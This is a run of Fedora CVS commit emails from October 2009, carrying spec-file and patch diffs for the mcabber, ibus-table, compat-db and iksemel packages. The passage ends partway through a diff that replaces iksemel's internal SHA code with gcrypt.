* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-12/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Oct 2008 11:20:12 -0000	1.6
+++ .cvsignore	23 Oct 2009 03:35:29 -0000	1.7
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-12/mcabber.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mcabber.spec	21 Aug 2009 14:29:53 -0000	1.14
+++ mcabber.spec	23 Oct 2009 03:35:29 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           mcabber
-Version:        0.9.9
-Release:        5%{?dist}
+Version:        0.9.10
+Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 
 Group:          Applications/Internet
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 0.9.9-5
 - rebuilt with new openssl
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-12/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Oct 2008 11:20:12 -0000	1.6
+++ sources	23 Oct 2009 03:35:29 -0000	1.7
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From mfleming at fedoraproject.org  Fri Oct 23 03:44:13 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Fri, 23 Oct 2009 03:44:13 +0000 (UTC)
Subject: rpms/mcabber/F-11 .cvsignore, 1.6, 1.7 mcabber.spec, 1.12,
	1.13 sources, 1.6, 1.7
Message-ID: <20091023034413.E9E5911C008C@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22123

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-11/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Oct 2008 11:20:12 -0000	1.6
+++ .cvsignore	23 Oct 2009 03:44:13 -0000	1.7
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-11/mcabber.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- mcabber.spec	25 Feb 2009 23:58:45 -0000	1.12
+++ mcabber.spec	23 Oct 2009 03:44:13 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           mcabber
-Version:        0.9.9
-Release:        3%{?dist}
+Version:        0.9.10
+Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 
 Group:          Applications/Internet
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.9-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Oct 2008 11:20:12 -0000	1.6
+++ sources	23 Oct 2009 03:44:13 -0000	1.7
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From mfleming at fedoraproject.org  Fri Oct 23 03:59:54 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Fri, 23 Oct 2009 03:59:54 +0000 (UTC)
Subject: rpms/mcabber/F-10 .cvsignore, 1.6, 1.7 mcabber.spec, 1.10,
	1.11 sources, 1.6, 1.7
Message-ID: <20091023035954.4325911C008C@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24567

Modified Files:
	.cvsignore mcabber.spec sources 
Log Message:
* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
- Update to 0.9.10 (bz# 527738)
- Switch to enchant for spellchecking (bz# 523963)



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-10/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	12 Oct 2008 11:20:12 -0000	1.6
+++ .cvsignore	23 Oct 2009 03:59:53 -0000	1.7
@@ -1 +1 @@
-mcabber-0.9.9.tar.bz2
+mcabber-0.9.10.tar.bz2


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-10/mcabber.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- mcabber.spec	12 Oct 2008 11:20:12 -0000	1.10
+++ mcabber.spec	23 Oct 2009 03:59:54 -0000	1.11
@@ -9,7 +9,7 @@ URL:            http://www.lilotux.net/~
 Source0:        http://www.lilotux.net/~mikael/mcabber/files/mcabber-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  aspell-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
+BuildRequires:  enchant-devel gpgme-devel ncurses-devel openssl-devel glib2-devel gettext-devel libotr-devel
 
 
 %description
@@ -21,7 +21,7 @@ action triggers.
 %setup -q
 
 %build
-%configure --disable-dependency-tracking --enable-aspell --enable-otr
+%configure --disable-dependency-tracking --enable-enchant --enable-otr
 make %{?_smp_mflags}
 
 
@@ -49,6 +49,10 @@ rm -rf %{buildroot}
 %{_datadir}/mcabber
 
 %changelog
+* Thu Oct 8 2009 Michael Fleming <mfleming+rpm at thatfleminggent.com> - 0.9.10-1
+- Update to 0.9.10 (bz# 527738)
+- Switch to enchant for spellchecking (bz# 523963)
+
 * Sun Oct 12 2008 Michael Fleming <mfleming+rpm at enlartenment.com> - 0.9.9-1
 - Upgrade to 0.9.9
 - Revert to using OpenSSL (#bz 389481)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-10/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	12 Oct 2008 11:20:12 -0000	1.6
+++ sources	23 Oct 2009 03:59:54 -0000	1.7
@@ -1 +1 @@
-189fb9d23f5a8412bc660884528475ea  mcabber-0.9.9.tar.bz2
+887415d16c32af58eab2ec2d9bb17fa6  mcabber-0.9.10.tar.bz2



From mfleming at fedoraproject.org  Fri Oct 23 04:01:10 2009
From: mfleming at fedoraproject.org (Michael Fleming)
Date: Fri, 23 Oct 2009 04:01:10 +0000 (UTC)
Subject: rpms/mcabber/F-10 mcabber.spec,1.11,1.12
Message-ID: <20091023040110.510E611C008C@cvs1.fedora.phx.redhat.com>

Author: mfleming

Update of /cvs/extras/rpms/mcabber/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24752

Modified Files:
	mcabber.spec 
Log Message:
Bump Version in spec


Index: mcabber.spec
===================================================================
RCS file: /cvs/extras/rpms/mcabber/F-10/mcabber.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- mcabber.spec	23 Oct 2009 03:59:54 -0000	1.11
+++ mcabber.spec	23 Oct 2009 04:01:10 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           mcabber
-Version:        0.9.9
+Version:        0.9.10
 Release:        1%{?dist}
 Summary:        Console Jabber instant messaging client
 



From cchance at fedoraproject.org  Fri Oct 23 04:07:02 2009
From: cchance at fedoraproject.org (cchance)
Date: Fri, 23 Oct 2009 04:07:02 +0000 (UTC)
Subject: rpms/ibus-table/F-11 ibus-table.spec,1.23,1.24
Message-ID: <20091023040702.44DC411C0260@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5069

Modified Files:
	ibus-table.spec 
Log Message:
typo on changelog


Index: ibus-table.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/ibus-table.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- ibus-table.spec	18 Oct 2009 23:13:09 -0000	1.23
+++ ibus-table.spec	23 Oct 2009 04:07:01 -0000	1.24
@@ -125,7 +125,7 @@ ibus-table-createdb -i -n %{_datadir}/ib
 - Fixed unresolved deps.
 
 * Wed Oct 14 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20091014-1.fc11
-- Regression of crashing. Rollback to 1.2.0.20090912.
+- Regression of crashing. Rollback to 1.2.0.20090902.
 
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090912-2.fc11
 - IBus #564 - Fixed parsing equal sign.



From jnovy at fedoraproject.org  Fri Oct 23 04:54:20 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 23 Oct 2009 04:54:20 +0000 (UTC)
Subject: rpms/compat-db/F-12 .cvsignore, 1.15, 1.16 compat-db.spec, 1.40,
	1.41 sources, 1.16, 1.17 patch.4.1.25.1, 1.1,
	NONE patch.4.1.25.2, 1.1, NONE patch.4.1.25.3, 1.1,
	NONE patch.4.2.52.1, 1.3, NONE patch.4.2.52.2, 1.3,
	NONE patch.4.2.52.3, 1.3, NONE patch.4.2.52.4, 1.3,
	NONE patch.4.2.52.5, 1.3, NONE patch.4.3.29.1, 1.3, NONE
Message-ID: <20091023045420.94AAC11C01EA@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/compat-db/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25607

Modified Files:
	.cvsignore compat-db.spec sources 
Removed Files:
	patch.4.1.25.1 patch.4.1.25.2 patch.4.1.25.3 patch.4.2.52.1 
	patch.4.2.52.2 patch.4.2.52.3 patch.4.2.52.4 patch.4.2.52.5 
	patch.4.3.29.1 
Log Message:
* Thu Sep 10 2009 Jindrich Novy <jnovy at redhat.com> 4.6.21-6
- remove libtool hacks so that compat-db builds again
- remove support for old BDBs: 4.3.29, 4.2.52, 4.1.25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/compat-db/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	13 Nov 2008 16:58:53 -0000	1.15
+++ .cvsignore	23 Oct 2009 04:54:19 -0000	1.16
@@ -1,5 +1,2 @@
 db-4.5.20.tar.gz
 db-4.6.21.tar.gz
-db-4.1.25.tar.gz
-db-4.2.52.tar.gz
-db-4.3.29.tar.gz


Index: compat-db.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compat-db/F-12/compat-db.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- compat-db.spec	24 Jul 2009 19:16:42 -0000	1.40
+++ compat-db.spec	23 Oct 2009 04:54:19 -0000	1.41
@@ -1,9 +1,6 @@
-%define db41_version 4.1.25
-%define db42_version 4.2.52
-%define db43_version 4.3.29
 %define db45_version 4.5.20
 %define db46_version 4.6.21
-%define db4_versions %{db41_version} %{db42_version} %{db43_version} %{db45_version} %{db46_version}
+%define db4_versions %{db45_version} %{db46_version}
 
 %define _libdb_a	libdb-${soversion}.a
 %define _libcxx_a	libdb_cxx-${soversion}.a
@@ -11,32 +8,14 @@
 Summary: The Berkeley DB database compatibility library
 Name: compat-db
 Version: 4.6.21
-Release: 9%{?dist}
-Source0: http://download.oracle.com/berkeley-db/db-%{db41_version}.tar.gz
-Source1: http://download.oracle.com/berkeley-db/db-%{db42_version}.tar.gz
-Source2: http://download.oracle.com/berkeley-db/db-%{db43_version}.tar.gz
-Source3: http://download.oracle.com/berkeley-db/db-%{db45_version}.tar.gz
-Source4: http://download.oracle.com/berkeley-db/db-%{db46_version}.tar.gz
+Release: 10%{?dist}
+Source0: http://download.oracle.com/berkeley-db/db-%{db45_version}.tar.gz
+Source1: http://download.oracle.com/berkeley-db/db-%{db46_version}.tar.gz
 
 Patch3: db-4.5.20-sparc64.patch
 Patch4: db-4.5.20-glibc.patch
 Patch5: db-4.6.21-1.85-compat.patch
 
-# Upstream db-4.1.25 patches
-Patch0: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.1
-Patch1: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.2
-Patch2: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db41_version}/patch.%{db41_version}.3
-
-# Upstream db-4.2.52 patches
-Patch10: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.1
-Patch11: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.2
-Patch12: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.3
-Patch13: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.4
-Patch14: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db42_version}/patch.%{db42_version}.5
-
-# Upstream db-4.3.29 patches
-Patch20: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db43_version}/patch.%{db43_version}.1
-
 # Upstream db-4.5.20 patches
 Patch30: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db45_version}/patch.%{db45_version}.1
 Patch31: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db45_version}/patch.%{db45_version}.2
@@ -44,7 +23,6 @@ Patch31: http://www.oracle.com/technolog
 # Upstream db-4.6.21 patches
 Patch40: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.1
 Patch41: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.2
-Patch42: http://www.oracle.com/technology/products/berkeley-db/db/update/%{db46_version}/patch.%{db46_version}.3
 
 URL: http://www.oracle.com/database/berkeley-db/
 License: BSD
@@ -60,54 +38,6 @@ embedded database support for both tradi
 This package contains various versions of Berkeley DB which were included in
 previous releases of Red Hat Linux.
 
-%package -n compat-db41
-Summary: The Berkeley DB database %{db41_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db41_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.1, db4-devel < 4.1, db4-utils < 4.1, db4-tcl < 4.1, db4-java < 4.1
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db41
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db41_version} used for compatibility.
-
-%package -n compat-db42
-Summary: The Berkeley DB database %{db42_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db42_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.2, db4-devel < 4.2, db4-utils < 4.2, db4-tcl < 4.2, db4-java < 4.2
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db42
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db42_version} used for compatibility.
-
-%package -n compat-db43
-Summary: The Berkeley DB database %{db43_version} compatibility library
-Group: System Environment/Libraries
-Version: %{db43_version}
-Obsoletes: db1, db1-devel
-Obsoletes: db2, db2-devel, db2-utils
-Obsoletes: db3, db3-devel, db3-utils
-Obsoletes: db31, db32, db3x
-Obsoletes: db4 < 4.3, db4-devel < 4.3, db4-utils < 4.3, db4-tcl < 4.3, db4-java < 4.3
-Obsoletes: compat-db < 4.6.21-5
-
-%description -n compat-db43
-The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides
-embedded database support for both traditional and client/server applications.
-This package contains Berkeley DB library version %{db43_version} used for compatibility.
-
 %package -n compat-db45
 Summary: The Berkeley DB database %{db45_version} compatibility library
 Group: System Environment/Libraries
@@ -141,26 +71,7 @@ embedded database support for both tradi
 This package contains Berkeley DB library version %{db46_version} used for compatibility.
 
 %prep
-%setup -q -c -a 1 -a 2 -a 3 -a 4
-
-pushd db-%{db41_version}
-%patch0 -p0
-%patch1 -p0
-%patch2 -p0
-popd
-
-pushd db-%{db42_version}
-%patch10 -p0
-%patch11 -p0
-%patch12 -p0
-%patch13 -p0
-%patch14 -p0
-popd
-
-pushd db-%{db43_version}
-%patch20 -p0
-%patch3 -p1 -b .sparc64
-popd
+%setup -q -c -a 1
 
 pushd db-%{db45_version}
 %patch30 -p0
@@ -171,7 +82,6 @@ popd
 pushd db-%{db46_version}
 %patch40 -p0
 %patch41 -p0
-%patch42 -p0
 %patch3 -p1 -b .sparc64
 popd
 
@@ -184,25 +94,8 @@ for version in %{db4_versions} ; do
 done
 
 %build
-# Set CFLAGS for use when building db2, where there's no configure script to
-# pick it up from a %%configure macro.
-CFLAGS="$RPM_OPT_FLAGS"; export CFLAGS
-
-# Cause C++ libraries to be linked with libstdc++.
-LIBXSO_LIBS=-lstdc++; export LIBXSO_LIBS
-
 for version in %{db4_versions} ; do
 	pushd db-${version}/dist
-
-	unset LIBSO_LIBS
-	export LIBSO_LIBS=-lpthread
-
-# XXX --enable-posixmutexes is useful for threads but useless for interprocess locking.
-# XXX --enable-diagnostic should be disabled for production (but is useful).
-# XXX --enable-debug_{r,w}op should be disabled for production.
-# XXX --enable-java
-	libtoolize --copy --force 
-	cp -f %{_datadir}/aclocal/libtool.m4 aclocal/libtool.ac
 	./s_config
 	mkdir build_unix
 	cd build_unix
@@ -211,11 +104,7 @@ for version in %{db4_versions} ; do
 		--enable-compat185 \
 		--enable-shared --disable-static \
 		--enable-rpc \
-		--enable-cxx \ 
-		# --enable-diagnostic \
-		# --enable-debug --enable-debug_rop --enable-debug_wop \
-		# --enable-posixmutexes
-
+		--enable-cxx
 	soversion=`echo ${version} | cut -f1,2 -d.`
 	make libdb=%{_libdb_a} libcxx=%{_libcxx_a} %{?_smp_mflags}
 	popd
@@ -254,8 +143,6 @@ ${RPM_BUILD_ROOT}%{_includedir}/db.h \
 ${RPM_BUILD_ROOT}%{_includedir}/db_185.h \
 ${RPM_BUILD_ROOT}%{_includedir}/db_cxx.h
 
-# Nuke useless headers for 4.1.25
-rm -f ${RPM_BUILD_ROOT}%{_includedir}/cxx_common.h ${RPM_BUILD_ROOT}%{_includedir}/cxx_except.h
 
 # Make sure all shared libraries have the execute bit set.
 chmod 755 ${RPM_BUILD_ROOT}%{_libdir}/libdb*.so*
@@ -295,48 +182,6 @@ rm -rf ${RPM_BUILD_ROOT}
 %files
 %defattr(-,root,root)
 
-%files -n compat-db41
-%doc docs/db-%{db41_version}
-%{_bindir}/db41*
-%{_bindir}/berkeley_db41_svc
-%ifos linux
-/%{_lib}/libdb-4.1.so
-/%{_lib}/libdb_cxx-4.1.so
-%else
-%{_libdir}/libdb-4.1.so
-%{_libdir}/libdb_cxx-4.1.so
-%endif
-%{_libdir}/db%{db41_version}
-%{_includedir}/db%{db41_version}
-
-%files -n compat-db42
-%doc docs/db-%{db42_version}
-%{_bindir}/db42*
-%{_bindir}/berkeley_db42_svc
-%ifos linux
-/%{_lib}/libdb-4.2.so
-/%{_lib}/libdb_cxx-4.2.so
-%else
-%{_libdir}/libdb-4.2.so
-%{_libdir}/libdb_cxx-4.2.so
-%endif
-%{_libdir}/db%{db42_version}
-%{_includedir}/db%{db42_version}
-
-%files -n compat-db43
-%doc docs/db-%{db43_version}
-%{_bindir}/db43*
-%{_bindir}/berkeley_db43_svc
-%ifos linux
-/%{_lib}/libdb-4.3.so
-/%{_lib}/libdb_cxx-4.3.so
-%else
-%{_libdir}/libdb-4.3.so
-%{_libdir}/libdb_cxx-4.3.so
-%endif
-%{_libdir}/db%{db43_version}
-%{_includedir}/db%{db43_version}
-
 %files -n compat-db45
 %doc docs/db-%{db45_version}
 %{_bindir}/db45*
@@ -366,6 +211,10 @@ rm -rf ${RPM_BUILD_ROOT}
 %{_includedir}/db%{db46_version}
 
 %changelog
+* Thu Sep 10 2009 Jindrich Novy <jnovy at redhat.com> 4.6.21-6
+- remove libtool hacks so that compat-db builds again
+- remove support for old BDBs: 4.3.29, 4.2.52, 4.1.25
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.6.21-9
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/compat-db/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	13 Nov 2008 16:58:53 -0000	1.16
+++ sources	23 Oct 2009 04:54:19 -0000	1.17
@@ -1,5 +1,2 @@
-d82ed75cb53b0daba4a7e959e8a6f86c  db-4.1.25.tar.gz
-8b5cff6eb83972afdd8e0b821703c33c  db-4.2.52.tar.gz
-200b9f5d74175875fcb3ee54adbf0007  db-4.3.29.tar.gz
 b0f1c777708cb8e9d37fb47e7ed3312d  db-4.5.20.tar.gz
 718082e7e35fc48478a2334b0bc4cd11  db-4.6.21.tar.gz


--- patch.4.1.25.1 DELETED ---


--- patch.4.1.25.2 DELETED ---


--- patch.4.1.25.3 DELETED ---


--- patch.4.2.52.1 DELETED ---


--- patch.4.2.52.2 DELETED ---


--- patch.4.2.52.3 DELETED ---


--- patch.4.2.52.4 DELETED ---


--- patch.4.2.52.5 DELETED ---


--- patch.4.3.29.1 DELETED ---



From jcollie at fedoraproject.org  Fri Oct 23 04:58:55 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri, 23 Oct 2009 04:58:55 +0000 (UTC)
Subject: rpms/iksemel/devel
	0001-Fix-issues-compiling-with-newer-gnutls.patch, NONE,
	1.1 0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch, 
	NONE, 1.1 .cvsignore, 1.3, 1.4 iksemel.spec, 1.15, 1.16 sources,
	1.3, 1.4 iksemel-64bit.patch, 1.2, NONE iksemel-gcrypt-sha.patch,
	1.2, NONE
Message-ID: <20091023045855.C759011C01EA@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/iksemel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26167

Modified Files:
	.cvsignore iksemel.spec sources 
Added Files:
	0001-Fix-issues-compiling-with-newer-gnutls.patch 
	0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch 
Removed Files:
	iksemel-64bit.patch iksemel-gcrypt-sha.patch 
Log Message:
* Thu Oct 22 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4-1
- Update to 1.4
- Apply patch from upstream so that gnutls autoconf works.
- Update gcrypt-sha patch so that it applies.


0001-Fix-issues-compiling-with-newer-gnutls.patch:
 configure.ac |   11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE 0001-Fix-issues-compiling-with-newer-gnutls.patch ---
>From a5f5d88a10e90c0dac44c8e845d8ce295a233bbd Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Thu, 22 Oct 2009 23:46:22 -0500
Subject: [PATCH 1/2] Fix issues compiling with newer gnutls

---
 configure.ac |   10 +++++++++-
 1 files changed, 9 insertions(+), 1 deletions(-)

diff --git a/configure.ac b/configure.ac
index 91e69e3..952bbe6 100644
--- a/configure.ac
+++ b/configure.ac
@@ -45,7 +45,15 @@ AC_SEARCH_LIBS(recv,socket)
 AC_CHECK_FUNCS(getopt_long)
 AC_CHECK_FUNCS(getaddrinfo)
 
-AM_PATH_LIBGNUTLS(,AC_DEFINE(HAVE_GNUTLS,,"Use libgnutls"))
+dnl Check GNU TLS
+PKG_CHECK_MODULES(GNUTLS, gnutls >= 2.0.0, have_gnutls=yes, have_gnutls=no)
+if test "x$have_gnutls" = "xyes"; then
+  LIBGNUTLS_CFLAGS="$GNUTLS_CFLAGS"
+  LIBGNUTLS_LIBS="$GNUTLS_LIBS"
+  AC_SUBST(LIBGNUTLS_CFLAGS)
+  AC_SUBST(LIBGNUTLS_LIBS)
+  AC_DEFINE(HAVE_GNUTLS, 1, [whether to use GnuTSL support.])
+fi
 
 dnl Check -Wall flag of GCC
 if test "x$GCC" = "xyes"; then
-- 
1.6.5.rc2


0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch:
 configure.ac    |    1 
 src/Makefile.am |    4 +-
 src/sha.c       |  109 +++++++-------------------------------------------------
 3 files changed, 18 insertions(+), 96 deletions(-)

--- NEW FILE 0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch ---
>From e909440a2abcdf1ed58810a20a7fd6a8f187816f Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Sat, 25 Aug 2007 22:31:07 -0500
Subject: [PATCH 2/2] Strip out internal SHA code and use functions from gcrypt.

---
 configure.ac    |    1 +
 src/Makefile.am |    4 +-
 src/sha.c       |  108 ++++++++-----------------------------------------------
 3 files changed, 18 insertions(+), 95 deletions(-)

diff --git a/configure.ac b/configure.ac
index 952bbe6..b215f1c 100644
--- a/configure.ac
+++ b/configure.ac
@@ -54,6 +54,7 @@ if test "x$have_gnutls" = "xyes"; then
   AC_SUBST(LIBGNUTLS_LIBS)
   AC_DEFINE(HAVE_GNUTLS, 1, [whether to use GnuTSL support.])
 fi
+AM_PATH_LIBGCRYPT(,AC_DEFINE(HAVE_LIBGCRYPT,,"Use libgcrypt"))
 
 dnl Check -Wall flag of GCC
 if test "x$GCC" = "xyes"; then
diff --git a/src/Makefile.am b/src/Makefile.am
index 303671c..f13f482 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -25,5 +25,5 @@ libiksemel_la_SOURCES = \
 	base64.c
 
 libiksemel_la_LDFLAGS = -version-info 4:1:1 -no-undefined
-libiksemel_la_CFLAGS = $(CFLAGS) $(LIBGNUTLS_CFLAGS)
-libiksemel_la_LIBADD = $(LIBGNUTLS_LIBS)
+libiksemel_la_CFLAGS = $(CFLAGS) $(LIBGNUTLS_CFLAGS) $(LIBGCRYPT_CFLAGS)
+libiksemel_la_LIBADD = $(LIBGNUTLS_LIBS) $(LIBGCRYPT_LIBS)
diff --git a/src/sha.c b/src/sha.c
index 04d566e..7b2126b 100644
--- a/src/sha.c
+++ b/src/sha.c
@@ -4,17 +4,13 @@
 ** modify it under the terms of GNU Lesser General Public License.
 */
 
+#include <gcrypt.h>
+
 #include "common.h"
 #include "iksemel.h"
 
-static void sha_buffer (iksha *sha, const unsigned char *data, int len);
-static void sha_calculate (iksha *sha);
-
 struct iksha_struct {
-	unsigned int hash[5];
-	unsigned int buf[80];
-	int blen;
-	unsigned int lenhi, lenlo;
+	gcry_md_hd_t c;
 };
 
 iksha *
@@ -32,56 +28,37 @@ void
